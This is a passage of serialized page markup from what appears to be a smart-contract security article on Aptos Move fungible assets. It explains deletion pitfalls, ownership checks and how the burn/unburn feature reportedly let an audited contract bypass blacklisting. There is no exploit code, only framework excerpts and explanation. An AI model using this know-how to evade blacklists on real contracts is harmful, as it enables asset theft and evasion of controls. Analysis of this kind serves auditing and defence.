add_fungibility",{"type":21,"tag":153,"props":65323,"children":65324},{"style":160},[65325],{"type":26,"value":773},{"type":21,"tag":153,"props":65327,"children":65328},{"class":155,"line":225},[65329,65333,65337],{"type":21,"tag":153,"props":65330,"children":65331},{"style":160},[65332],{"type":26,"value":65011},{"type":21,"tag":153,"props":65334,"children":65335},{"style":198},[65336],{"type":26,"value":12313},{"type":21,"tag":153,"props":65338,"children":65339},{"style":160},[65340],{"type":26,"value":2941},{"type":21,"tag":153,"props":65342,"children":65343},{"class":155,"line":239},[65344,65348,65352,65356,65360,65364],{"type":21,"tag":153,"props":65345,"children":65346},{"style":160},[65347],{"type":26,"value":2071},{"type":21,"tag":153,"props":65349,"children":65350},{"style":198},[65351],{"type":26,"value":201},{"type":21,"tag":153,"props":65353,"children":65354},{"style":214},[65355],{"type":26,"value":63854},{"type":21,"tag":153,"props":65357,"children":65358},{"style":160},[65359],{"type":26,"value":8537},{"type":21,"tag":153,"props":65361,"children":65362},{"style":214},[65363],{"type":26,"value":63863},{"type":21,"tag":153,"props":65365,"children":65366},{"style":160},[65367],{"type":26,"value":10009},{"type":21,"tag":153,"props":65369,"children":65370},{"class":155,"line":382},[65371,65375,65379],{"type":21,"tag":153,"props":65372,"children":65373},{"style":160},[65374],{"type":26,"value":65011},{"type":21,"tag":153,"props":65376,"children":65377},{"style":198},[65378],{"type":26,"value":12313},{"type":21,"tag":153,"props":65380,"children":65381},{"style":160},[65382],{"type":26,"value":2941},{"type":21,"tag":153,"props":65384,"children":65385},{"class":155,"line":501},[65386,65391,65395,65400],{"type":21,"tag":153,"props":65387,"children":65388},{"style":181},[65389],{"type":26,"value":65390},"    move_to",{"type":21,"tag":153,"props":65392,"children":65393},{"style":160},[65394],{"type":26,"value":189},{"type":21,"tag":153,"props":65396,"children":65397},{"style":192},[65398],{"type":26,"value":65399},"metadata_object_signer",{"type":21,"tag":153,"props":65401,"children":65402},{"style":160},[65403],{"type":26,"value":792},{"type":21,"tag":153,"props":65405,"children":65406},{"class":155,"line":533},[65407,65412],{"type":21,"tag":153,"props":65408,"children":65409},{"style":214},[65410],{"type":26,"value":65411},"        Metadata",{"type":21,"tag":153,"props":65413,"children":65414},{"style":160},[65415],{"type":26,"value":236},{"type":21,"tag":153,"props":65417,"children":65418},{"class":155,"line":542},[65419,65424],{"type":21,"tag":153,"props":65420,"children":65421},{"style":192},[65422],{"type":26,"value":65423},"            name",{"type":21,"tag":153,"props":65425,"children":65426},{"style":160},[65427],{"type":26,"value":792},{"type":21,"tag":153,"props":65429,"children":65430},{"class":155,"line":762},[65431,65436],{"type":21,"tag":153,"props":65432,"children":65433},{"style":192},[65434],{"type":26,"value":65435},"            symbol",{"type":21,"tag":153,"props":65437,"children":65438},{"style":160},[65439],{"type":26,"value":792},{"type":21,"tag":153,"props":65441,"children":65442},{"class":155,"line":776},[65443,65448],{"type":21,"tag":153,"props":65444,"children":65445},{"style":192},[65446],{"type":26,"value":65447},"            decimals",{"type":21,"tag":153,"props":65449,"children":65450},{"style":160},[65451],{"type":26,"value":792},{"type":21,"tag":153,"props":65453,"children":65454},{"class":155,"line":795},[65455,65460],{"type":21,"tag":153,"props":65456,"children":65457},{"style":192},[65458],{"type":26,"value":65459},"            icon_uri",{"type":21,"tag":153,"props":65461,"children":65462},{"style":160},[65463],{"type":26,"value":792},{"type":21,"tag":153,"props":65465,"children":65466},{"class":155,"line":808},[65467,65472],{"type":21,"tag":153,"props":65468,"children":65469},{"style":192},[65470],{"type":26,"value":65471},"            project_uri",{"type":21,"tag":153,"props":65473,"children":65474},{"style":160},[65475],{"type":26,"value":792},{"type":21,"tag":153,"props":65477,"children":65478},{"class":155,"line":820},[65479],{"type":21,"tag":153,"props":65480,"children":65481},{"style":160},[65482],{"type":26,"value":2765},{"type":21,"tag":153,"props":65484,"children":65485},{"class":155,"line":842},[65486],{"type":21,"tag":153,"props":65487,"children":65488},{"style":160},[65489],{"type":26,"value":3361},{"type":21,"tag":153,"props":65491,"children":65492},{"class":155,"line":3204},[65493,65497,65501],{"type":21,"tag":153,"props":65494,"children":65495},{"style":160},[65496],{"type":26,"value":211},{"type":21,"tag":153,"props":65498,"children":65499},{"style":198},[65500],{"type":26,"value":12313},{"type":21,"tag":153,"props":65502,"children":65503},{"style":160},[65504],{"type":26,"value":2941},{"type":21,"tag":153,"props":65506,"children":65507},{"class":155,"line":3230},[65508],{"type":21,"tag":153,"props":65509,"children":65510},{"style":160},[65511],{"type":26,"value":548},{"type":21,"tag":21491,"props":65513,"children":65514},{},[],{"type":21,"tag":22,"props":65516,"children":65517},{},[65518,65520,65525,65527,65532],{"type":26,"value":65519},"Deletions can be a big issue even when dealing with objects that are eligible for deletion. For example, a ",{"type":21,"tag":78,"props":65521,"children":65523},{"className":65522},[],[65524],{"type":26,"value":64369},{"type":26,"value":65526}," is also an object, and a \"secondary\" ",{"type":21,"tag":78,"props":65528,"children":65530},{"className":65529},[],[65531],{"type":26,"value":64369},{"type":26,"value":65533}," can be created as deletable if empty. The catch is that deletion can occur both at the fungible asset level and at the object level.",{"type":21,"tag":143,"props":65535,"children":65537},{"className":145,"code":65536,"language":147,"meta":7,"style":7},"//Fungible asset\npublic fun remove_store(delete_ref: &DeleteRef)\n\n//Object\npublic fun delete(ref: DeleteRef)\n",[65538],{"type":21,"tag":78,"props":65539,"children":65540},{"__ignoreMap":7},[65541,65549,65591,65598,65606],{"type":21,"tag":153,"props":65542,"children":65543},{"class":155,"line":156},[65544],{"type":21,"tag":153,"props":65545,"children":65546},{"style":3050},[65547],{"type":26,"value":65548},"//Fungible asset\n",{"type":21,"tag":153,"props":65550,"children":65551},{"class":155,"line":166},[65552,65556,65560,65565,65569,65574,65578,65582,65587],{"type":21,"tag":153,"props":65553,"children":65554},{"style":192},[65555],{"type":26,"value":63968},{"type":21,"tag":153,"props":65557,"children":65558},{"style":192},[65559],{"type":26,"value":8936},{"type":21,"tag":153,"props":65561,"children":65562},{"style":181},[65563],{"type":26,"value":65564}," remove_store",{"type":21,"tag":153,"props":65566,"children":65567},{"style":160},[65568],{"type":26,"value":189},{"type":21,"tag":153,"props":65570,"children":65571},{"style":192},[65572],{"type":26,"value":65573},"delete_ref",{"type":21,"tag":153,"props":65575,"children":65576},{"style":198},[65577],{"type":26,"value":201},{"type":21,"tag":153,"props":65579,"children":65580},{"style":198},[65581],{"type":26,"value":206},{"type":21,"tag":153,"props":65583,"children":65584},{"style":214},[65585],{"type":26,"value":65586},"DeleteRef",{"type":21,"tag":153,"props":65588,"children":65589},{"style":160},[65590],{"type":26,"value":5909},{"type":21,"tag":153,"props":65592,"children":65593},{"class":155,"line":225},[65594],{"type":21,"tag":153,"props":65595,"children":65596},{"emptyLinePlaceholder":16},[65597],{"type":26,"value":759},{"type":21,"tag":153,"props":65599,"children":65600},{"class":155,"line":239},[65601],{"type":21,"tag":153,"props":65602,"children":65603},{"style":3050},[65604],{"type":26,"value":65605},"//Object\n",{"type":21,"tag":153,"props":65607,"children":65608},{"class":155,"line":382},[65609,65613,65617,65622,65626,65631,65635,65640],{"type":21,"tag":153,"props":65610,"children":65611},{"style":192},[65612],{"type":26,"value":63968},{"type":21,"tag":153,"props":65614,"children":65615},{"style":192},[65616],{"type":26,"value":8936},{"type":21,"tag":153,"props":65618,"children":65619},{"style":181},[65620],{"type":26,"value":65621}," delete",{"type":21,"tag":153,"props":65623,"children":65624},{"style":160},[65625],{"type":26,"value":189},{"type":21,"tag":153,"props":65627,"children":65628},{"style":170},[65629],{"type":26,"value":65630},"ref",{"type":21,"tag":153,"props":65632,"children":65633},{"style":198},[65634],{"type":26,"value":201},{"type":21,"tag":153,"props":65636,"children":65637},{"style":214},[65638],{"type":26,"value":65639}," DeleteRef",{"type":21,"tag":153,"props":65641,"children":65642},{"style":160},[65643],{"type":26,"value":5909},{"type":21,"tag":22,"props":65645,"children":65646},{},[65647,65649,65655,65657,65662,65664,65669,65671,65676,65678,65684,65686,65692,65694,65699],{"type":26,"value":65648},"When ",{"type":21,"tag":78,"props":65650,"children":65652},{"className":65651},[],[65653],{"type":26,"value":65654},"object::delete",{"type":26,"value":65656}," removes the ",{"type":21,"tag":78,"props":65658,"children":65660},{"className":65659},[],[65661],{"type":26,"value":51141},{"type":26,"value":65663}," from a ",{"type":21,"tag":78,"props":65665,"children":65667},{"className":65666},[],[65668],{"type":26,"value":64369},{"type":26,"value":65670}," object, the ",{"type":21,"tag":78,"props":65672,"children":65674},{"className":65673},[],[65675],{"type":26,"value":64369},{"type":26,"value":65677}," resource becomes permanently undeletable. This is because ",{"type":21,"tag":78,"props":65679,"children":65681},{"className":65680},[],[65682],{"type":26,"value":65683},"remove_store",{"type":26,"value":65685}," can't create an ",{"type":21,"tag":78,"props":65687,"children":65689},{"className":65688},[],[65690],{"type":26,"value":65691},"Object\u003CFungibleStore>",{"type":26,"value":65693}," without an ",{"type":21,"tag":78,"props":65695,"children":65697},{"className":65696},[],[65698],{"type":26,"value":51141},{"type":26,"value":65700}," underneath, causing the operation to fail.",{"type":21,"tag":143,"props":65702,"children":65704},{"className":145,"code":65703,"language":147,"meta":7,"style":7},"public fun remove_store(delete_ref: &DeleteRef) acquires [...] {\n    let store = &object::object_from_delete_ref\u003CFungibleStore>(delete_ref);\n    [...]\n}\n",[65705],{"type":21,"tag":78,"props":65706,"children":65707},{"__ignoreMap":7},[65708,65763,65815,65830],{"type":21,"tag":153,"props":65709,"children":65710},{"class":155,"line":156},[65711,65715,65719,65723,65727,65731,65735,65739,65743,65747,65751,65755,65759],{"type":21,"tag":153,"props":65712,"children":65713},{"style":192},[65714],{"type":26,"value":63968},{"type":21,"tag":153,"props":65716,"children":65717},{"style":192},[65718],{"type":26,"value":8936},{"type":21,"tag":153,"props":65720,"children":65721},{"style":181},[65722],{"type":26,"value":65564},{"type":21,"tag":153,"props":65724,"children":65725},{"style":160},[65726],{"type":26,"value":189},{"type":21,"tag":153,"props":65728,"children":65729},{"style":192},[65730],{"type":26,"value":65573},{"type":21,"tag":153,"props":65732,"children":65733},{"style":198},[65734],{"type":26,"value":201},{"type":21,"tag":153,"props":65736,"children":65737},{"style":198},[65738],{"type":26,"value":206},{"type":21,"tag":153,"props":65740,"children":65741},{"style":214},[65742],{"type":26,"value":65586},{"type":21,"tag":153,"props":65744,"children":65745},{"style":160},[65746],{"type":26,"value":2362},{"type":21,"tag":153,"props":65748,"children":65749},{"style":192},[65750],{"type":26,"value":9073},{"type":21,"tag":153,"props":65752,"children":65753},{"style":160},[65754],{"type":26,"value":4236},{"type":21,"tag":153,"props":65756,"children":65757},{"style":198},[65758],{"type":26,"value":12313},{"type":21,"tag":153,"props":65760,"children":65761},{"style":160},[65762],{"type":26,"value":64059},{"type":21,"tag":153,"props":65764,"children":65765},{"class":155,"line":166},[65766,65770,65774,65778,65782,65786,65790,65795,65799,65803,65807,65811],{"type":21,"tag":153,"props":65767,"children":65768},{"style":170},[65769],{"type":26,"value":629},{"type":21,"tag":153,"props":65771,"children":65772},{"style":192},[65773],{"type":26,"value":8561},{"type":21,"tag":153,"props":65775,"children":65776},{"style":198},[65777],{"type":26,"value":255},{"type":21,"tag":153,"props":65779,"children":65780},{"style":198},[65781],{"type":26,"value":206},{"type":21,"tag":153,"props":65783,"children":65784},{"style":160},[65785],{"type":26,"value":65203},{"type":21,"tag":153,"props":65787,"children":65788},{"style":198},[65789],{"type":26,"value":265},{"type":21,"tag":153,"props":65791,"children":65792},{"style":192},[65793],{"type":26,"value":65794},"object_from_delete_ref",{"type":21,"tag":153,"props":65796,"children":65797},{"style":160},[65798],{"type":26,"value":8537},{"type":21,"tag":153,"props":65800,"children":65801},{"style":214},[65802],{"type":26,"value":64369},{"type":21,"tag":153,"props":65804,"children":65805},{"style":160},[65806],{"type":26,"value":328},{"type":21,"tag":153,"props":65808,"children":65809},{"style":192},[65810],{"type":26,"value":65573},{"type":21,"tag":153,"props":65812,"children":65813},{"style":160},[65814],{"type":26,"value":530},{"type":21,"tag":153,"props":65816,"children":65817},{"class":155,"line":225},[65818,65822,65826],{"type":21,"tag":153,"props":65819,"children":65820},{"style":160},[65821],{"type":26,"value":65011},{"type":21,"tag":153,"props":65823,"children":65824},{"style":198},[65825],{"type":26,"value":12313},{"type":21,"tag":153,"props":65827,"children":65828},{"style":160},[65829],{"type":26,"value":2941},{"type":21,"tag":153,"props":65831,"children":65832},{"class":155,"line":239},[65833],{"type":21,"tag":153,"props":65834,"children":65835},{"style":160},[65836],{"type":26,"value":548},{"type":21,"tag":22,"props":65838,"children":65839},{},[65840,65842,65847,65849,65855,65857,65862],{"type":26,"value":65841},"In addition, such \"deleted\" ",{"type":21,"tag":78,"props":65843,"children":65845},{"className":65844},[],[65846],{"type":26,"value":64369},{"type":26,"value":65848}," objects remain at least partially operable. For instance, ",{"type":21,"tag":78,"props":65850,"children":65852},{"className":65851},[],[65853],{"type":26,"value":65854},"fungible_asset::deposit",{"type":26,"value":65856}," does not check the ",{"type":21,"tag":78,"props":65858,"children":65860},{"className":65859},[],[65861],{"type":26,"value":51141},{"type":26,"value":65863}," existence.",{"type":21,"tag":114,"props":65865,"children":65867},{"id":65866},"ownership",[65868],{"type":26,"value":65869},"Ownership",{"type":21,"tag":22,"props":65871,"children":65872},{},[65873,65875,65880,65882,65888,65890,65895],{"type":26,"value":65874},"Each object has an owner. Fungible assets rely on the ",{"type":21,"tag":78,"props":65876,"children":65878},{"className":65877},[],[65879],{"type":26,"value":51141},{"type":26,"value":65881}," ownership model. For example, during a withdrawal operation, the signer is validated using ",{"type":21,"tag":78,"props":65883,"children":65885},{"className":65884},[],[65886],{"type":26,"value":65887},"object::owns",{"type":26,"value":65889}," to confirm ownership of the ",{"type":21,"tag":78,"props":65891,"children":65893},{"className":65892},[],[65894],{"type":26,"value":64369},{"type":26,"value":52467},{"type":21,"tag":143,"props":65897,"children":65899},{"className":145,"code":65898,"language":147,"meta":7,"style":7},"public(friend) fun withdraw_sanity_check\u003CT: key>(\n    owner: &signer,\n    store: Object\u003CT>,\n    abort_on_dispatch: bool,\n) acquires FungibleStore, DispatchFunctionStore {\n    assert!(object::owns(store, signer::address_of(owner)), error::permission_denied(ENOT_STORE_OWNER));\n    [...]\n}\n",[65900],{"type":21,"tag":78,"props":65901,"children":65902},{"__ignoreMap":7},[65903,65951,65975,66002,66022,66050,66118,66133],{"type":21,"tag":153,"props":65904,"children":65905},{"class":155,"line":156},[65906,65910,65914,65918,65922,65926,65931,65935,65939,65943,65947],{"type":21,"tag":153,"props":65907,"children":65908},{"style":181},[65909],{"type":26,"value":63968},{"type":21,"tag":153,"props":65911,"children":65912},{"style":160},[65913],{"type":26,"value":189},{"type":21,"tag":153,"props":65915,"children":65916},{"style":192},[65917],{"type":26,"value":9827},{"type":21,"tag":153,"props":65919,"children":65920},{"style":160},[65921],{"type":26,"value":2362},{"type":21,"tag":153,"props":65923,"children":65924},{"style":192},[65925],{"type":26,"value":9836},{"type":21,"tag":153,"props":65927,"children":65928},{"style":192},[65929],{"type":26,"value":65930}," withdraw_sanity_check",{"type":21,"tag":153,"props":65932,"children":65933},{"style":160},[65934],{"type":26,"value":8537},{"type":21,"tag":153,"props":65936,"children":65937},{"style":214},[65938],{"type":26,"value":8717},{"type":21,"tag":153,"props":65940,"children":65941},{"style":198},[65942],{"type":26,"value":201},{"type":21,"tag":153,"props":65944,"children":65945},{"style":192},[65946],{"type":26,"value":8661},{"type":21,"tag":153,"props":65948,"children":65949},{"style":160},[65950],{"type":26,"value":9318},{"type":21,"tag":153,"props":65952,"children":65953},{"class":155,"line":166},[65954,65959,65963,65967,65971],{"type":21,"tag":153,"props":65955,"children":65956},{"style":192},[65957],{"type":26,"value":65958},"    owner",{"type":21,"tag":153,"props":65960,"children":65961},{"style":198},[65962],{"type":26,"value":201},{"type":21,"tag":153,"props":65964,"children":65965},{"style":198},[65966],{"type":26,"value":206},{"type":21,"tag":153,"props":65968,"children":65969},{"style":192},[65970],{"type":26,"value":9874},{"type":21,"tag":153,"props":65972,"children":65973},{"style":160},[65974],{"type":26,"value":792},{"type":21,"tag":153,"props":65976,"children":65977},{"class":155,"line":225},[65978,65982,65986,65990,65994,65998],{"type":21,"tag":153,"props":65979,"children":65980},{"style":192},[65981],{"type":26,"value":32108},{"type":21,"tag":153,"props":65983,"children":65984},{"style":198},[65985],{"type":26,"value":201},{"type":21,"tag":153,"props":65987,"children":65988},{"style":214},[65989],{"type":26,"value":63854},{"type":21,"tag":153,"props":65991,"children":65992},{"style":160},[65993],{"type":26,"value":8537},{"type":21,"tag":153,"props":65995,"children":65996},{"style":214},[65997],{"type":26,"value":8717},{"type":21,"tag":153,"props":65999,"children":66000},{"style":160},[66001],{"type":26,"value":8867},{"type":21,"tag":153,"props":66003,"children":66004},{"class":155,"line":239},[66005,66010,66014,66018],{"type":21,"tag":153,"props":66006,"children":66007},{"style":192},[66008],{"type":26,"value":66009},"    abort_on_dispatch",{"type":21,"tag":153,"props":66011,"children":66012},{"style":198},[66013],{"type":26,"value":201},{"type":21,"tag":153,"props":66015,"children":66016},{"style":214},[66017],{"type":26,"value":14769},{"type":21,"tag":153,"props":66019,"children":66020},{"style":160},[66021],{"type":26,"value":792},{"type":21,"tag":153,"props":66023,"children":66024},{"class":155,"line":382},[66025,66029,66033,66037,66041,66046],{"type":21,"tag":153,"props":66026,"children":66027},{"style":160},[66028],{"type":26,"value":2362},{"type":21,"tag":153,"props":66030,"children":66031},{"style":192},[66032],{"type":26,"value":9073},{"type":21,"tag":153,"props":66034,"children":66035},{"style":214},[66036],{"type":26,"value":64389},{"type":21,"tag":153,"props":66038,"children":66039},{"style":160},[66040],{"type":26,"value":1670},{"type":21,"tag":153,"props":66042,"children":66043},{"style":214},[66044],{"type":26,"value":66045},"DispatchFunctionStore",{"type":21,"tag":153,"props":66047,"children":66048},{"style":160},[66049],{"type":26,"value":236},{"type":21,"tag":153,"props":66051,"children":66052},{"class":155,"line":501},[66053,66057,66062,66066,66071,66075,66079,66083,66087,66091,66095,66099,66104,66108,66113],{"type":21,"tag":153,"props":66054,"children":66055},{"style":181},[66056],{"type":26,"value":64637},{"type":21,"tag":153,"props":66058,"children":66059},{"style":160},[66060],{"type":26,"value":66061},"(object",{"type":21,"tag":153,"props":66063,"children":66064},{"style":198},[66065],{"type":26,"value":265},{"type":21,"tag":153,"props":66067,"children":66068},{"style":181},[66069],{"type":26,"value":66070},"owns",{"type":21,"tag":153,"props":66072,"children":66073},{"style":160},[66074],{"type":26,"value":189},{"type":21,"tag":153,"props":66076,"children":66077},{"style":192},[66078],{"type":26,"value":8670},{"type":21,"tag":153,"props":66080,"children":66081},{"style":160},[66082],{"type":26,"value":15653},{"type":21,"tag":153,"props":66084,"children":66085},{"style":198},[66086],{"type":26,"value":265},{"type":21,"tag":153,"props":66088,"children":66089},{"style":181},[66090],{"type":26,"value":9937},{"type":21,"tag":153,"props":66092,"children":66093},{"style":160},[66094],{"type":26,"value":189},{"type":21,"tag":153,"props":66096,"children":66097},{"style":192},[66098],{"type":26,"value":18306},{"type":21,"tag":153,"props":66100,"children":66101},{"style":160},[66102],{"type":26,"value":66103},")), error",{"type":21,"tag":153,"props":66105,"children":66106},{"style":198},[66107],{"type":26,"value":265},{"type":21,"tag":153,"props":66109,"children":66110},{"style":181},[66111],{"type":26,"value":66112},"permission_denied",{"type":21,"tag":153,"props":66114,"children":66115},{"style":160},[66116],{"type":26,"value":66117},"(ENOT_STORE_OWNER));\n",{"type":21,"tag":153,"props":66119,"children":66120},{"class":155,"line":533},[66121,66125,66129],{"type":21,"tag":153,"props":66122,"children":66123},{"style":160},[66124],{"type":26,"value":65011},{"type":21,"tag":153,"props":66126,"children":66127},{"style":198},[66128],{"type":26,"value":12313},{"type":21,"tag":153,"props":66130,"children":66131},{"style":160},[66132],{"type":26,"value":2941},{"type":21,"tag":153,"props":66134,"children":66135},{"class":155,"line":542},[66136],{"type":21,"tag":153,"props":66137,"children":66138},{"style":160},[66139],{"type":26,"value":548},{"type":21,"tag":22,"props":66141,"children":66142},{},[66143,66145,66150,66152,66158,66160,66166],{"type":26,"value":66144},"The thing to note is that defining ownership with ",{"type":21,"tag":78,"props":66146,"children":66148},{"className":66147},[],[66149],{"type":26,"value":65887},{"type":26,"value":66151}," can be tricky. The ",{"type":21,"tag":78,"props":66153,"children":66155},{"className":66154},[],[66156],{"type":26,"value":66157},"burn",{"type":26,"value":66159}," function was one of the reasons behind that. It allowed changing the object's owner to the ",{"type":21,"tag":78,"props":66161,"children":66163},{"className":66162},[],[66164],{"type":26,"value":66165},"BURN_ADDRESS",{"type":26,"value":66167}," while bypassing transfer restrictions:",{"type":21,"tag":143,"props":66169,"children":66171},{"className":145,"code":66170,"language":147,"meta":7,"style":7},"public entry fun burn\u003CT: key>(owner: &signer, object: Object\u003CT>) acquires ObjectCore {\n    let original_owner = signer::address_of(owner);\n    assert!(is_owner(object, original_owner), error::permission_denied(ENOT_OBJECT_OWNER));\n    let object_addr = object.inner;\n    move_to(&create_signer(object_addr), TombStone { original_owner });\n    transfer_raw_inner(object_addr, BURN_ADDRESS);\n}\n",[66172],{"type":21,"tag":78,"props":66173,"children":66174},{"__ignoreMap":7},[66175,66272,66313,66363,66392,66442,66463],{"type":21,"tag":153,"props":66176,"children":66177},{"class":155,"line":156},[66178,66182,66186,66190,66195,66199,66203,66207,66211,66215,66219,66223,66227,66231,66235,66239,66243,66247,66251,66255,66259,66263,66268],{"type":21,"tag":153,"props":66179,"children":66180},{"style":192},[66181],{"type":26,"value":63968},{"type":21,"tag":153,"props":66183,"children":66184},{"style":192},[66185],{"type":26,"value":64935},{"type":21,"tag":153,"props":66187,"children":66188},{"style":192},[66189],{"type":26,"value":8936},{"type":21,"tag":153,"props":66191,"children":66192},{"style":192},[66193],{"type":26,"value":66194}," burn",{"type":21,"tag":153,"props":66196,"children":66197},{"style":160},[66198],{"type":26,"value":8537},{"type":21,"tag":153,"props":66200,"children":66201},{"style":214},[66202],{"type":26,"value":8717},{"type":21,"tag":153,"props":66204,"children":66205},{"style":198},[66206],{"type":26,"value":201},{"type":21,"tag":153,"props":66208,"children":66209},{"style":192},[66210],{"type":26,"value":8661},{"type":21,"tag":153,"props":66212,"children":66213},{"style":160},[66214],{"type":26,"value":328},{"type":21,"tag":153,"props":66216,"children":66217},{"style":192},[66218],{"type":26,"value":18306},{"type":21,"tag":153,"props":66220,"children":66221},{"style":198},[66222],{"type":26,"value":201},{"type":21,"tag":153,"props":66224,"children":66225},{"style":198},[66226],{"type":26,"value":206},{"type":21,"tag":153,"props":66228,"children":66229},{"style":192},[66230],{"type":26,"value":9874},{"type":21,"tag":153,"props":66232,"children":66233},{"style":160},[66234],{"type":26,"value":1670},{"type":21,"tag":153,"props":66236,"children":66237},{"style":192},[66238],{"type":26,"value":65203},{"type":21,"tag":153,"props":66240,"children":66241},{"style":198},[66242],{"type":26,"value":201},{"type":21,"tag":153,"props":66244,"children":66245},{"style":214},[66246],{"type":26,"value":63854},{"type":21,"tag":153,"props":66248,"children":66249},{"style":160},[66250],{"type":26,"value":8537},{"type":21,"tag":153,"props":66252,"children":66253},{"style":214},[66254],{"type":26,"value":8717},{"type":21,"tag":153,"props":66256,"children":66257},{"style":160},[66258],{"type":26,"value":23140},{"type":21,"tag":153,"props":66260,"children":66261},{"style":192},[66262],{"type":26,"value":9073},{"type":21,"tag":153,"props":66264,"children":66265},{"style":214},[66266],{"type":26,"value":66267}," ObjectCore",{"type":21,"tag":153,"props":66269,"children":66270},{"style":160},[66271],{"type":26,"value":236},{"type":21,"tag":153,"props":66273,"children":66274},{"class":155,"line":166},[66275,66279,66284,66288,66293,66297,66301,66305,66309],{"type":21,"tag":153,"props":66276,"children":66277},{"style":170},[66278],{"type":26,"value":629},{"type":21,"tag":153,"props":66280,"children":66281},{"style":192},[66282],{"type":26,"value":66283}," original_owner",{"type":21,"tag":153,"props":66285,"children":66286},{"style":198},[66287],{"type":26,"value":255},{"type":21,"tag":153,"props":66289,"children":66290},{"style":160},[66291],{"type":26,"value":66292}," signer",{"type":21,"tag":153,"props":66294,"children":66295},{"style":198},[66296],{"type":26,"value":265},{"type":21,"tag":153,"props":66298,"children":66299},{"style":181},[66300],{"type":26,"value":9937},{"type":21,"tag":153,"props":66302,"children":66303},{"style":160},[66304],{"type":26,"value":189},{"type":21,"tag":153,"props":66306,"children":66307},{"style":192},[66308],{"type":26,"value":18306},{"type":21,"tag":153,"props":66310,"children":66311},{"style":160},[66312],{"type":26,"value":530},{"type":21,"tag":153,"props":66314,"children":66315},{"class":155,"line":225},[66316,66320,66324,66329,66333,66337,66341,66346,66350,66354,66358],{"type":21,"tag":153,"props":66317,"children":66318},{"style":181},[66319],{"type":26,"value":64637},{"type":21,"tag":153,"props":66321,"children":66322},{"style":160},[66323],{"type":26,"value":189},{"type":21,"tag":153,"props":66325,"children":66326},{"style":181},[66327],{"type":26,"value":66328},"is_owner",{"type":21,"tag":153,"props":66330,"children":66331},{"style":160},[66332],{"type":26,"value":189},{"type":21,"tag":153,"props":66334,"children":66335},{"style":192},[66336],{"type":26,"value":65203},{"type":21,"tag":153,"props":66338,"children":66339},{"style":160},[66340],{"type":26,"value":1670},{"type":21,"tag":153,"props":66342,"children":66343},{"style":192},[66344],{"type":26,"value":66345},"original_owner",{"type":21,"tag":153,"props":66347,"children":66348},{"style":160},[66349],{"type":26,"value":65226},{"type":21,"tag":153,"props":66351,"children":66352},{"style":198},[66353],{"type":26,"value":265},{"type":21,"tag":153,"props":66355,"children":66356},{"style":181},[66357],{"type":26,"value":66112},{"type":21,"tag":153,"props":66359,"children":66360},{"style":160},[66361],{"type":26,"value":66362},"(ENOT_OBJECT_OWNER));\n",{"type":21,"tag":153,"props":66364,"children":66365},{"class":155,"line":239},[66366,66370,66375,66379,66383,66387],{"type":21,"tag":153,"props":66367,"children":66368},{"style":170},[66369],{"type":26,"value":629},{"type":21,"tag":153,"props":66371,"children":66372},{"style":192},[66373],{"type":26,"value":66374}," object_addr",{"type":21,"tag":153,"props":66376,"children":66377},{"style":198},[66378],{"type":26,"value":255},{"type":21,"tag":153,"props":66380,"children":66381},{"style":192},[66382],{"type":26,"value":64787},{"type":21,"tag":153,"props":66384,"children":66385},{"style":198},[66386],{"type":26,"value":355},{"type":21,"tag":153,"props":66388,"children":66389},{"style":160},[66390],{"type":26,"value":66391},"inner;\n",{"type":21,"tag":153,"props":66393,"children":66394},{"class":155,"line":382},[66395,66399,66403,66407,66412,66416,66421,66425,66430,66434,66438],{"type":21,"tag":153,"props":66396,"children":66397},{"style":181},[66398],{"type":26,"value":65390},{"type":21,"tag":153,"props":66400,"children":66401},{"style":160},[66402],{"type":26,"value":189},{"type":21,"tag":153,"props":66404,"children":66405},{"style":198},[66406],{"type":26,"value":1974},{"type":21,"tag":153,"props":66408,"children":66409},{"style":181},[66410],{"type":26,"value":66411},"create_signer",{"type":21,"tag":153,"props":66413,"children":66414},{"style":160},[66415],{"type":26,"value":189},{"type":21,"tag":153,"props":66417,"children":66418},{"style":192},[66419],{"type":26,"value":66420},"object_addr",{"type":21,"tag":153,"props":66422,"children":66423},{"style":160},[66424],{"type":26,"value":17877},{"type":21,"tag":153,"props":66426,"children":66427},{"style":214},[66428],{"type":26,"value":66429},"TombStone",{"type":21,"tag":153,"props":66431,"children":66432},{"style":160},[66433],{"type":26,"value":12308},{"type":21,"tag":153,"props":66435,"children":66436},{"style":192},[66437],{"type":26,"value":66345},{"type":21,"tag":153,"props":66439,"children":66440},{"style":160},[66441],{"type":26,"value":41527},{"type":21,"tag":153,"props":66443,"children":66444},{"class":155,"line":501},[66445,66450,66454,66458],{"type":21,"tag":153,"props":66446,"children":66447},{"style":181},[66448],{"type":26,"value":66449},"    transfer_raw_inner",{"type":21,"tag":153,"props":66451,"children":66452},{"style":160},[66453],{"type":26,"value":189},{"type":21,"tag":153,"props":66455,"children":66456},{"style":192},[66457],{"type":26,"value":66420},{"type":21,"tag":153,"props":66459,"children":66460},{"style":160},[66461],{"type":26,"value":66462},", BURN_ADDRESS);\n",{"type":21,"tag":153,"props":66464,"children":66465},{"class":155,"line":533},[66466],{"type":21,"tag":153,"props":66467,"children":66468},{"style":160},[66469],{"type":26,"value":548},{"type":21,"tag":22,"props":66471,"children":66472},{},[66473,66479,66481,66486,66487,66494,66496,66501],{"type":21,"tag":78,"props":66474,"children":66476},{"className":66475},[],[66477],{"type":26,"value":66478},"unburn",{"type":26,"value":66480}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":21,"tag":78,"props":66482,"children":66484},{"className":66483},[],[66485],{"type":26,"value":66165},{"type":26,"value":21229},{"type":21,"tag":29,"props":66488,"children":66491},{"href":66489,"rel":66490},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[33],[66492],{"type":26,"value":66493},"AIP-99",{"type":26,"value":66495}," is a proposal to roll back the ",{"type":21,"tag":78,"props":66497,"children":66499},{"className":66498},[],[66500],{"type":26,"value":66157},{"type":26,"value":66502}," feature, but previously burned objects will remain restorable.",{"type":21,"tag":5689,"props":66504,"children":66505},{},[66506],{"type":21,"tag":22,"props":66507,"children":66508},{},[66509,66511,66515],{"type":26,"value":66510},"This ",{"type":21,"tag":153,"props":66512,"children":66513},{},[66514],{"type":26,"value":66493},{"type":26,"value":66516}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":21,"tag":22,"props":66518,"children":66519},{},[66520,66522,66528,66530,66535,66537,66542],{"type":26,"value":66521},"Another important thing is that 